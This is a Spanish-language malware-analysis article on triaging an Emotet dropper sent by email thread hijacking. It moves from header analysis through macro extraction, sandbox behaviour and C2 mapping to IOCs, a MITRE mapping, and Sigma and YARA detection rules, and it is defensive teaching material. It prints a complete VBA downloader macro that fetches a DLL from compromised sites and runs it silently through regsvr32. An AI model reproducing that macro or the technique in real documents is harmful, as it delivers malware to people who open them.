Triaje de Emotet Dropper: De Email Sospechoso a IOCs Accionables
Proceso completo de triaje de un dropper Emotet: análisis del email con thread hijacking, extracción de DLL, análisis de comportamiento, mapeo de infraestructura C2, extracción de IOCs y creación de reglas Sigma y YARA para detección.
Escenario: thread hijacking en acción
El analista SOC N1 escala un ticket: un usuario de RRHH ha reportado un email sospechoso. Lo inusual es que el correo aparece dentro de un hilo de conversación real con un proveedor de nóminas. El asunto dice "RE: Revisión de nóminas Q2 2026" y contiene un archivo ZIP adjunto llamado Nominas_Q2_revision.zip.
El remitente es una dirección legítima del proveedor de nóminas (carlos.martinez@nominas-plus[.]es), pero el departamento de TI confirma que esa cuenta fue comprometida la semana anterior. Estamos ante un caso de thread hijacking: Emotet ha robado el hilo de conversación real y lo usa como vector de distribución.
Análisis del email
Headers relevantes
From: "Carlos Martinez" <carlos.martinez@nominas-plus[.]es>
To: laura.garcia@empresa[.]local
Subject: RE: Revisión de nóminas Q2 2026
In-Reply-To: <[email protected]>
References: <[email protected]> <[email protected]>
Received: from smtp-relay.nominas-plus[.]es (178.62.43[.]218)
X-Originating-IP: 178.62.43[.]218
Date: Mon, 02 Jun 2026 14:22:17 +0200
Content-Type: multipart/mixed; boundary="----=_NextPart_001_0042_01D8F4A2"
La clave del thread hijacking:
- In-Reply-To y References: Apuntan a message-IDs reales de la conversación original. El cliente de correo del destinatario muestra el email dentro del hilo existente.
- From legítimo: La dirección es real y pertenece a una cuenta comprometida, no un dominio spoofed.
- IP de origen:
178.62.43[.]218es un VPS en DigitalOcean, no la infraestructura real denominas-plus[.]es.
Cuerpo del email
Hola Laura,
Te adjunto la revisión de las nóminas que comentamos. Necesito que
revises los cambios en la tabla de cotizaciones antes del viernes.
Un saludo,
Carlos
El texto es coherente con la conversación original, lo que aumenta la credibilidad del phishing.
Análisis del adjunto
$ file Nominas_Q2_revision.zip
Nominas_Q2_revision.zip: Zip archive data, at least v2.0 to extract
$ unzip -l Nominas_Q2_revision.zip
Length Date Time Name
--------- ---------- ----- ----
142336 2026-06-02 14:18 Nominas_Q2_revision.doc
$ sha256sum Nominas_Q2_revision.zip
b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5
El ZIP contiene un .doc (formato antiguo, no .docx). Emotet prefiere formatos legacy porque permiten macros sin la protección MOTW que aplica Office a formatos modernos.
Análisis del documento
Extracción de macro con olevba
$ olevba Nominas_Q2_revision.doc --decode
Resultado relevante:
Private Sub Document_Open()
Dim arrURLs(4) As String
arrURLs(0) = "hxxps://electrodomesticos-garcia[.]com/wp-content/uploads/2026/06/inv.php"
arrURLs(1) = "hxxps://blog-cocina-madrid[.]es/wp-includes/css/inv.php"
arrURLs(2) = "hxxps://taller-motos-sevilla[.]net/images/inv.php"
arrURLs(3) = "hxxps://floristeria-online-bcn[.]com/modules/inv.php"
arrURLs(4) = "hxxps://clinica-dental-valencia[.]es/assets/inv.php"
Dim sPath As String
sPath = Environ("TEMP") & "\regsvr_" & Int(Rnd * 9999) & ".dll"
Dim i As Integer
For i = 0 To UBound(arrURLs)
On Error Resume Next
Dim oHTTP As Object
Set oHTTP = CreateObject("MSXML2.XMLHTTP")
oHTTP.Open "GET", arrURLs(i), False
oHTTP.Send
If oHTTP.Status = 200 And Len(oHTTP.responseBody) > 10000 Then
Dim oStream As Object
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write oHTTP.responseBody
oStream.SaveToFile sPath, 2
oStream.Close
Shell "regsvr32 /s " & sPath, vbHide
Exit For
End If
On Error GoTo 0
Next i
End Sub
Patrones de Emotet identificados:
- Múltiples URLs de descarga: 5 sitios WordPress comprometidos como distribución. Si uno cae, intenta el siguiente.
- Descarga de DLL: El payload es una DLL, no un EXE.
- regsvr32 como LOLBin: Usa
regsvr32 /s(silencioso) para registrar y ejecutar la DLL. Técnica LOLBAS que evita alertas de ejecución de EXE desconocido. - Nombre aleatorio:
regsvr_XXXX.dllcon número aleatorio para dificultar detección por nombre de archivo. - Validación de tamaño: Solo acepta respuestas mayores de 10.000 bytes para evitar descargar páginas de error.
Sitios comprometidos como distribución
Los 5 dominios son sitios WordPress legítimos comprometidos. Emotet abusa de sitios con CMS vulnerables para alojar sus payloads temporalmente:
| Dominio | Sector | CMS | Path del payload |
|---|---|---|---|
electrodomesticos-garcia[.]com | Retail | WordPress | /wp-content/uploads/2026/06/ |
blog-cocina-madrid[.]es | Blog | WordPress | /wp-includes/css/ |
taller-motos-sevilla[.]net | Servicios | WordPress | /images/ |
floristeria-online-bcn[.]com | Retail | WordPress (Prestashop) | /modules/ |
clinica-dental-valencia[.]es | Salud | WordPress | /assets/ |
Emotet DLL extraction
Descarga segura del payload
Desde la sandbox, descargamos la DLL del primer sitio disponible:
$ curl -o emotet_sample.dll "hxxps://electrodomesticos-garcia[.]com/wp-content/uploads/2026/06/inv.php" \
--user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
$ file emotet_sample.dll
PE32 executable (DLL) Intel 80386
$ sha256sum emotet_sample.dll
c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7
$ diec emotet_sample.dll
Compiler: Microsoft Visual C/C++ (2019)
Packer: None detected
Análisis estático de la DLL
$ pestudio emotet_sample.dll
Hallazgos:
| Indicador | Valor | Significado |
|---|---|---|
| Tamaño | 142 KB | Pequeño para una DLL con funcionalidad completa |
| Exports | DllRegisterServer | Export estándar para regsvr32 |
| Imports sospechosos | InternetOpenA, InternetConnectA, HttpSendRequestA | Comunicación HTTP |
| Imports sospechosos | CreateProcessW, VirtualAllocEx, WriteProcessMemory | Inyección de proceso |
| Imports sospechosos | CryptEncrypt, CryptDecrypt | Cifrado de comunicaciones |
| Secciones | .text (5.8), .rdata (4.2), .data (7.6) | .data con entropía alta: datos cifrados |
| Timestamp | 2026-06-01 22:14:07 UTC | Compilado un día antes del envío |
Behavioral analysis
Ejecución en sandbox
Ejecutamos en CAPE Sandbox con configuración de red controlada:
Comando: regsvr32 /s C:\Users\analyst\Desktop\emotet_sample.dll
Duración: 180 segundos
Red: FakeNet-NG + INetSim
Monitorización: Procmon + API Monitor + Wireshark
Comportamiento observado
Fase 1: Inicialización (0-5 segundos)
regsvr32.exe
├─ Crea mutex: Global\M_E4B7C2A1
├─ Desempaqueta código en memoria (VirtualAlloc + RtlMoveMemory)
├─ Resuelve APIs dinámicamente (GetProcAddress en bucle)
└─ Enumera procesos (CreateToolhelp32Snapshot)
Fase 2: Persistencia (5-10 segundos)
regsvr32.exe
├─ Se copia a: C:\Users\<user>\AppData\Local\Microsoft\Windows\Cache\mspaint32.dll
├─ Crea servicio: "WindowsPaintHelper" → regsvr32 /s mspaint32.dll
└─ Alternativa: Tarea programada cada 15 minutos
Fase 3: Comunicación C2 (10-180 segundos)
regsvr32.exe
├─ Intenta conexión a 12 IPs (lista hardcodeada en binario)
├─ Protocolo: HTTP POST con datos cifrados (AES-CBC)
├─ Envía: hostname, username, OS version, lista de procesos
├─ Recibe: comandos (módulos adicionales, spam template, credenciales)
└─ Si ningún C2 responde: reintenta cada 60 segundos
Recolección de datos del sistema
Emotet recopila y envía al C2:
Computer Name: DESKTOP-A7B3C2D
User Name: laura.garcia
OS Version: Windows 10 Pro 22H2 (Build 19045)
Architecture: x64
Domain: EMPRESA
Installed AV: Windows Defender
Running Processes: explorer.exe, outlook.exe, chrome.exe, teams.exe
C2 infrastructure mapping
Lista de C2 extraída del binario
Mediante análisis del binario desempaquetado, extraemos la lista de servidores C2 hardcodeados:
| IP | Puerto | Protocolo | Geolocalización | ASN |
|---|---|---|---|---|
185.148.168[.]15 | 8080 | HTTP | Rusia | AS44477 |
103.75.201[.]2 | 443 | HTTPS | Vietnam | AS45899 |
164.68.99[.]3 | 8080 | HTTP | Alemania | AS51167 |
159.65.88[.]10 | 443 | HTTPS | EEUU | AS14061 |
188.44.20[.]25 | 443 | HTTPS | Rusia | AS29182 |
45.71.195[.]104 | 8080 | HTTP | Brasil | AS28299 |
72.15.201[.]15 | 7080 | HTTP | EEUU | AS20473 |
103.43.75[.]120 | 443 | HTTPS | Indonesia | AS135161 |
91.207.28[.]33 | 8080 | HTTP | Ucrania | AS25092 |
190.90.233[.]66 | 443 | HTTPS | Colombia | AS13489 |
82.165.152[.]127 | 8080 | HTTP | Alemania | AS8560 |
119.59.103[.]164 | 8080 | HTTP | Tailandia | AS17552 |
Patrón de infraestructura:
- Distribución global: 12 C2 en 10 países para resiliencia.
- Puertos recurrentes: 8080, 443, 7080 (puertos típicos de Emotet).
- Mix de protocolos: HTTP en puertos altos + HTTPS en 443.
- VPS y servidores comprometidos: Mix de hosting comercial y servidores legítimos comprometidos.
- Sin dominios: Todas las comunicaciones van directamente a IPs, sin resolución DNS.
Comparación con Feodo Tracker
Cruzamos las IPs con la base de datos de Feodo Tracker (abuse.ch):
7 de 12 IPs ya listadas en Feodo Tracker como Emotet Epoch 4
3 IPs nuevas: reportadas a abuse.ch
2 IPs offline al momento del análisis
IOCs accionables
Red
| Tipo | Valor | Contexto | TLP |
|---|---|---|---|
| IPv4 | 178.62.43[.]218 | Origen del email (VPS comprometido) | GREEN |
| IPv4 | 185.148.168[.]15 | C2 Emotet (puerto 8080) | GREEN |
| IPv4 | 103.75.201[.]2 | C2 Emotet (puerto 443) | GREEN |
| IPv4 | 164.68.99[.]3 | C2 Emotet (puerto 8080) | GREEN |
| IPv4 | 159.65.88[.]10 | C2 Emotet (puerto 443) | GREEN |
| IPv4 | 188.44.20[.]25 | C2 Emotet (puerto 443) | GREEN |
| IPv4 | 45.71.195[.]104 | C2 Emotet (puerto 8080) | GREEN |
| IPv4 | 72.15.201[.]15 | C2 Emotet (puerto 7080) | GREEN |
| Domain | electrodomesticos-garcia[.]com | WordPress comprometido (distribución) | GREEN |
| Domain | blog-cocina-madrid[.]es | WordPress comprometido (distribución) | GREEN |
| Domain | taller-motos-sevilla[.]net | WordPress comprometido (distribución) | GREEN |
Host
| Tipo | Valor | Contexto |
|---|---|---|
| SHA256 | b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5 | ZIP adjunto |
| SHA256 | c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7 | Emotet DLL |
| File | %LOCALAPPDATA%\Microsoft\Windows\Cache\mspaint32.dll | DLL persistente |
| Service | WindowsPaintHelper | Servicio de persistencia |
| Mutex | Global\M_E4B7C2A1 | Mutex de instancia única |
Mapeo MITRE ATT&CK
| ID | Técnica | Táctica | Evidencia |
|---|---|---|---|
| T1566.001 | Spearphishing Attachment | Initial Access | ZIP con documento Word via thread hijacking |
| T1586.002 | Compromise Email Accounts | Resource Development | Cuenta legítima comprometida para envío |
| T1204.002 | User Execution: Malicious File | Execution | Usuario abre documento y habilita macros |
| T1059.005 | Visual Basic | Execution | Macro VBA con Document_Open |
| T1218.010 | Regsvr32 | Defense Evasion | Ejecución de DLL via regsvr32 /s |
| T1027.002 | Software Packing | Defense Evasion | DLL empaquetada con código desempaquetado en runtime |
| T1055.001 | DLL Injection | Defense Evasion | Inyección en proceso legítimo |
| T1543.003 | Windows Service | Persistence | Servicio WindowsPaintHelper |
| T1071.001 | Web Protocols | Command and Control | HTTP/HTTPS a IPs sin dominio |
| T1573.001 | Symmetric Cryptography | Command and Control | AES-CBC para cifrar tráfico C2 |
| T1082 | System Information Discovery | Discovery | Envía hostname, OS, arquitectura al C2 |
| T1057 | Process Discovery | Discovery | Enumera procesos con CreateToolhelp32Snapshot |
Detección: reglas Sigma y YARA
Regla Sigma: regsvr32 ejecutando DLL desde directorio temporal
title: Regsvr32 Loading DLL from Temp Directory
id: d5e6f7a8-b9c0-4d1e-a2f3-b4c5d6e7f8a9
status: experimental
description: Detects regsvr32 loading a DLL from user temp directories, common Emotet behavior
references:
- https://malwareintel.es/blog/casos-de-uso/triaje-emotet-email-iocs
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\regsvr32.exe'
CommandLine|contains:
- '\AppData\Local\Temp\'
- '\Users\'
filter:
CommandLine|contains:
- '\Program Files'
- '\Windows\System32'
condition: selection and not filter
level: high
tags:
- attack.defense_evasion
- attack.t1218.010
- attack.execution
Regla Sigma: servicio sospechoso con regsvr32
title: Suspicious Service Created with Regsvr32
id: e6f7a8b9-c0d1-4e2f-b3a4-c5d6e7f8a9b0
status: experimental
description: Detects creation of a Windows service that executes regsvr32 with a DLL
logsource:
category: process_creation
product: windows
detection:
selection:
EventID: 7045
ImagePath|contains: 'regsvr32'
condition: selection
level: critical
tags:
- attack.persistence
- attack.t1543.003
Regla YARA: Emotet DLL dropper
rule Emotet_DLL_Dropper_2026 {
meta:
description = "Detects Emotet DLL dropper based on behavioral indicators"
author = "MalwareIntel Research"
date = "2026-06-06"
reference = "https://malwareintel.es/blog/casos-de-uso/triaje-emotet-email-iocs"
strings:
$mutex1 = "Global\\M_" ascii
$api1 = "InternetOpenA" ascii
$api2 = "HttpSendRequestA" ascii
$api3 = "CryptEncrypt" ascii
$api4 = "CreateToolhelp32Snapshot" ascii
$api5 = "VirtualAllocEx" ascii
$export = "DllRegisterServer" ascii
$ip_pattern = /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/ ascii
condition:
uint16(0) == 0x5A4D and
filesize < 300KB and
$export and
$mutex1 and
3 of ($api*) and
#ip_pattern > 5
}
Regla YARA: documento con macro Emotet
rule Emotet_Maldoc_MultiURL {
meta:
description = "Detects Emotet maldoc with multiple download URLs"
author = "MalwareIntel Research"
date = "2026-06-06"
strings:
$vba1 = "Document_Open" ascii
$vba2 = "AutoOpen" ascii
$dl1 = "MSXML2.XMLHTTP" ascii
$dl2 = "ADODB.Stream" ascii
$exec1 = "regsvr32" ascii nocase
$exec2 = "Shell" ascii
$url_pattern = /https?:\/\/[a-z0-9\-\.]+\.[a-z]{2,6}\/[a-z0-9\-\/]+\.php/ ascii nocase
condition:
(uint32(0) == 0xE011CFD0 or uint32(0) == 0x04034B50) and
($vba1 or $vba2) and
1 of ($dl*) and
1 of ($exec*) and
#url_pattern >= 3
}
Lecciones del triaje
Thread hijacking cambia las reglas
El phishing convencional se detecta por dominios spoofed, errores gramaticales y urgencia artificial. El thread hijacking elimina todos esos indicadores: el remitente es real, el contexto es real, y el email aparece en un hilo conocido.
Contramedidas específicas:
- Sandbox de adjuntos: Todos los adjuntos ZIP y DOC pasan por sandbox antes de llegar al buzón, independientemente del remitente.
- Alertas por adjuntos de contactos comprometidos: Si un proveedor reporta un breach, activar alerta temporal para todos los emails con adjuntos de ese dominio.
- Detección de macros en gateway: Rechazar documentos
.docy.docmde fuentes externas. Permitir solo.docx(sin macros) y.xlsx.
Emotet como servicio de distribución
Emotet no es solo un malware: es una plataforma de distribución. Una vez que el dropper establece persistencia y contacta el C2, puede descargar módulos adicionales:
- Módulo de spam: Roba contactos y envía más emails de phishing (thread hijacking).
- Módulo de credenciales: Extrae contraseñas de navegadores y clientes de correo.
- Payloads de terceros: Emotet vende acceso a máquinas infectadas. Ha distribuido TrickBot, QBot, Cobalt Strike y ransomware como Ryuk y Conti.
La detección temprana del dropper es crítica: una vez que Emotet descarga un segundo payload, el incidente escala exponencialmente.
Workflow de triaje recomendado
1. Email sospechoso → Extraer headers + adjunto (sin abrir)
2. Hash del adjunto → Consultar VT, MalwareBazaar, MalwareIntel
3. Si no conocido → olevba para extraer macro (análisis estático)
4. Identificar URLs → Consultar URLhaus, OTX, VirusTotal
5. Si URLs activas → Sandbox (ANY.RUN, CAPE, Joe Sandbox)
6. Extraer DLL/EXE → Análisis estático + dinámico
7. Mapear C2 → Cruzar con Feodo Tracker, ThreatFox
8. Generar IOCs → Distribuir a firewall, SIEM, EDR
9. Documentar → Informe con ATT&CK mapping + reglas de detección
Los IOCs presentados en este artículo son ficticios pero realistas, diseñados con fines educativos. Las técnicas de triaje y detección son aplicables a incidentes reales con Emotet y otros droppers similares.
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.